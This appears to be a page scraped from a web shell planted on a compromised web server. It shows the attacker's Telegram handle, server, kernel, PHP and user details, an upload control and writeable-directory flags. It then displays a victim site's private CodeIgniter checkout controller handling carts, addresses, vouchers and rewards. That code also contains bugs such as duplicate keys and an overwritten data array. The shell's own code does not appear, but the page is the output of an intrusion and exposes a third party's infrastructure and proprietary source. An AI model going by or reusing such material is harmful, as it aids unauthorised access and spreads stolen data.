https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/controllers/Summary.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Summary extends Customer_Controller  {


	function __construct() {

		parent::__construct();
		$this->load->model('cart_model');
		$this->load->model('product_m');
		$this->load->model('customer_m');
		$this->load->library('cart');
		$this->load->helper('rajaongkir');
	}


	public function index($carrier = 'jne') {

		if (!$this->cart->contents()) {
			$data['message'] = '<p style="background:#564E52; color:white; padding:10px; margin-bottom:100px;">Your cart is empty</p>';
		} else {
			$data['message'] = $this->session->flashdata('message');
		}

		$id_customer = (int) $this->session->userdata('customer')['customer_id'];

		//add default address into address table if not exist yet
		$count_address = $this->db->select('id_address')->from('address')->where('id_customers', (int) $this->session->userdata('customer')['customer_id'])->get()->num_rows();

		if($count_address == 0) {
			$customer_data = $this->db->select('*')->from('customers')->where('id_customers', (int) $this->session->userdata('customer')['customer_id'])->get()->row();

			$data = array(
				'id_customers' => $customer_data->id_customers,
				'recipient_name' => $customer_data->recipient_name,
				'recipient_name' => $customer_data->recipient_name,
				'address' => $customer_data->address,
				'address' => $customer_data->address,
				'id_province' => $customer_data->id_province,
				'id_district' => $customer_data->id_district,
				'id_subdistrict' => $customer_data->id_subdistrict,
				'province' => $customer_data->province,
				'district' => $customer_data->district,
				'subdistrict' => $customer_data->subdistrict,
				'country' => $customer_data->country,
				'postcode' => $customer_data->postcode,
				'phone' => $customer_data->phone,
				'address_name' => 'Default Address'
			);
			$this->db->insert('address', $data);
		}

		//get customer detail
		$data['shipping'] = $this->customer_m->get_shipping($id_customer);

		//get address customer
		$data['address'] = $this->customer_m->get_shipping_address($id_customer);

		//get toc
		$this->db->select('toc')->from('toc')->where('id_toc', 1);
		$data['toc'] = $this->db->get()->row();

		switch ($carrier) {
			case 'sicepat_reguler':
				$data['carrier'] = 'sicepat';
				$data['code_carrier'] = 'sicepat_reguler';
				$data['carrier_name'] = 'SICEPAT REG';
				break;
			case 'sicepat_best':
				$data['carrier'] = 'sicepat';
				$data['code_carrier'] = 'sicepat_best';
				$data['carrier_name'] = 'SICEPAT BEST';
				break;
			default:
				$data['carrier'] = 'sicepat';
				$data['code_carrier'] = 'sicepat_reguler';
				$data['carrier_name'] = 'SICEPAT REG';
				break;
		}

		$data['carrier'] = 'jne';
		$data['code_carrier'] = 'jne_reguler';
		$data['carrier_name'] = 'JNE REG';
		
		$data['point'] = $this->customer_m->get_point();
		$data['reward_customer'] = $this->customer_m->get_reward();

		//get SEO
		$this->db->select('website_name, meta_keywords')->from('configuration')->where('id_configuration', 1);
		$website_name = $this->db->get()->row();
		$this->data_header['browser_title'] =  ucwords($website_name->website_name) . ' - My Summary';
		$this->data_header['meta_description'] = ucwords($website_name->website_name) . ' - My Summary';
		$this->data_header['meta_keywords'] = $website_name->meta_keywords;

		$this->load->view('template/header', $this->data_header);
		$this->load->view('summary', $data);
		$this->load->view('template/footer', $this->data_footer);
	}

	public function remove($rowid) {

		if ($rowid=="all"){
			$this->cart->destroy();
		} else {
			$data = array(
				'rowid'   => $rowid,
				'qty'     => 0
			);

			$this->cart->update($data);
		}

		redirect('summary');
	}

	public function remove_cart() {
		$rowid = $this->input->post('rowid');
		
		if ($rowid=="all"){
			$this->cart->destroy();
		} else {
			$data = array(
				'rowid'   => $rowid,
				'qty'     => 0
			);

			$this->cart->update($data);
		}

		echo $this->cart->total_items();
	}


	public function get_vouchers() {

		if(!isset($_POST['submit_voucher_code'])) {
			show_404();
		}

		//validation in action
		$config = array(
			 array(
             'field'   => 'voucher_code',
             'label'   => 'voucher code',
             'rules'   => 'trim|required|alpha_numeric|callback__check_voucher_code',
        	 ),
		);

		$this->form_validation->set_rules($config);
		$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

		if($this->form_validation->run() == TRUE) {

			$voucher_code = $this->security->xss_clean($this->input->post('voucher_code'));

			//cek pop up active
			$popup = $this->db->select('*')->from('home_centerbanners')->where('id_home_centerbanners',1)->get()->row();
			if(($popup->popup_text == $voucher_code) && ($popup->popup_active == 'yes')){

				//cek kesamaan email
				$customer_id = (int) $this->session->userdata('customer')['customer_id'];

				//ambil email dari tabel customers
				$user_email				= $this->db->select('email')->from('customers')->where('id_customers',$customer_id)->get()->row()->email;

				//cek kesamaan dengan tabel newsletter
				$user_email_newsletter	= $this->db->select('email')->from('newsletter')->where('email',$user_email)->get()->row();

				if ($user_email_newsletter != null) {

					//get voucher type and amount
					$this->db->select('*')->from('vouchers')->where('voucher_code', $voucher_code);
					$voucher = $this->db->get()->row();

					$this->session->set_userdata('chosen_voucher_code', $voucher->voucher_code);
					$this->session->set_userdata('chosen_voucher_type', $voucher->discount_type);
					$this->session->set_userdata('chosen_voucher_discount', $voucher->discount_value);

					$this->index();
				}
				else{

					$this->index();
				}

			}
			else{
				if ($popup->popup_text != $voucher_code) {
					//get voucher type and amount
					$this->db->select('*')->from('vouchers')->where('voucher_code', $voucher_code);
					$voucher = $this->db->get()->row();

					$this->session->set_userdata('chosen_voucher_code', $voucher->voucher_code);
					$this->session->set_userdata('chosen_voucher_type', $voucher->discount_type);
					$this->session->set_userdata('chosen_voucher_discount', $voucher->discount_value);

					$this->index();
				}
				else{

					$this->index();

				}

			}

		}
		else {

			$this->index();

		}

	}

	function get_redeem($id_reward = NULL){
		if ($id_reward == NULL) { show_404(); }

		$id_reward = $this->security->xss_clean($id_reward);		

		$this->db->select('*')->from('reward_customer')->where('id_reward_customer', $id_reward);
		$reward = $this->db->get();
		
		if($reward->num_rows() > 0){
			$this->session->set_userdata('id_reward', $id_reward);
		}
		
		redirect('summary');
	}

	public function remove_reward() {

		$this->session->set_userdata('id_reward', '');

		redirect('summary');
	}

	public function _check_voucher_code($str) {

		//check if input voucher code is really exist
		$this->db->select('id_vouchers')->from('vouchers')->where('voucher_code', $str);
		$count_voucher = $this->db->get()->num_rows();
		if ($count_voucher == 0) {
			$this->form_validation->set_message('_check_voucher_code', 'Voucher Code Does Not Exist!');
			return FALSE;
		}

		//check if the voucher quantity already empty
		$this->db->select('qty_ready')->from('vouchers')->where('voucher_code', $str);
		$qty_ready = $this->db->get()->row()->qty_ready;
		if ($qty_ready == 0 && $qty_ready != NULL) {
			$this->form_validation->set_message('_check_voucher_code', 'Voucher Code Does Not Available Anymore!');
			return FALSE;
		}

		//check if the voucher usage already exceed max customer usage
		//get max quantity
		$this->db->select('maxqty_per_person')->from('vouchers')->where('voucher_code', $str);
		$maxqty_per_person = $this->db->get()->row()->maxqty_per_person;

		if ($maxqty_per_person != NULL) {

			//get customer current voucher usage
			$customer_id = (int) $this->session->userdata('customer')['customer_id'];

			//get voucher id
			$this->db->select('id_vouchers')->from('vouchers')->where('voucher_code', $str);
			$voucher_id = (int) $this->db->get()->row()->id_vouchers;

			//check on customer voucher_user table, if exist
			$this->db->select('*')->from('voucher_users')->where('voucher_id', $voucher_id)->where('customer_id', $customer_id);
			$count_user = $this->db->get()->num_rows();

			if ($count_user > 0) {
				//get current voucher usage
				$this->db->select('voucher_used')->from('voucher_users')->where('voucher_id', $voucher_id)->where('customer_id', $customer_id);
				$voucher_used = (int) $this->db->get()->row()->voucher_used;

				//if the user voucher already exceed max quota
				if ($voucher_used >= $maxqty_per_person) {
					$this->form_validation->set_message('_check_voucher_code', 'Sorry You have used max allowed no. of vouchers');
				return FALSE;

				}

			}

		}

		//check for minimum order
		$grand_total_without_shipping = (int) $this->session->userdata('grand_total_without_shipping'); //this value is taken from summary page

		//get minimum order from voucher table
		$this->db->select('min_order')->from('vouchers')->where('voucher_code', $str);
		$min_order = $this->db->get()->row()->min_order;

		if ($min_order != NULL) {
			if ($grand_total_without_shipping < (int) $min_order) {

				$this->form_validation->set_message('_check_voucher_code', 'Sorry Your order amount is not enough');
					return FALSE;
			}
		}

		//Check for expired date
		//get expired date for this voucher
		$this->db->select('expired_date')->from('vouchers')->where('voucher_code', $str);
		$expired_date = $this->db->get()->row()->expired_date;

		if ($expired_date != NULL) {

			$expired_date_numbers = strtotime($expired_date);

			$current_date_numbers = strtotime(date('Y-m-d H:i:s'));

			if ($current_date_numbers > $expired_date_numbers) {

				$this->form_validation->set_message('_check_voucher_code', 'Sorry Your Voucher Code Already Expired');
					return FALSE;
			}
		}

	return true;

	}


}

https://t.me/RX1948 - 2025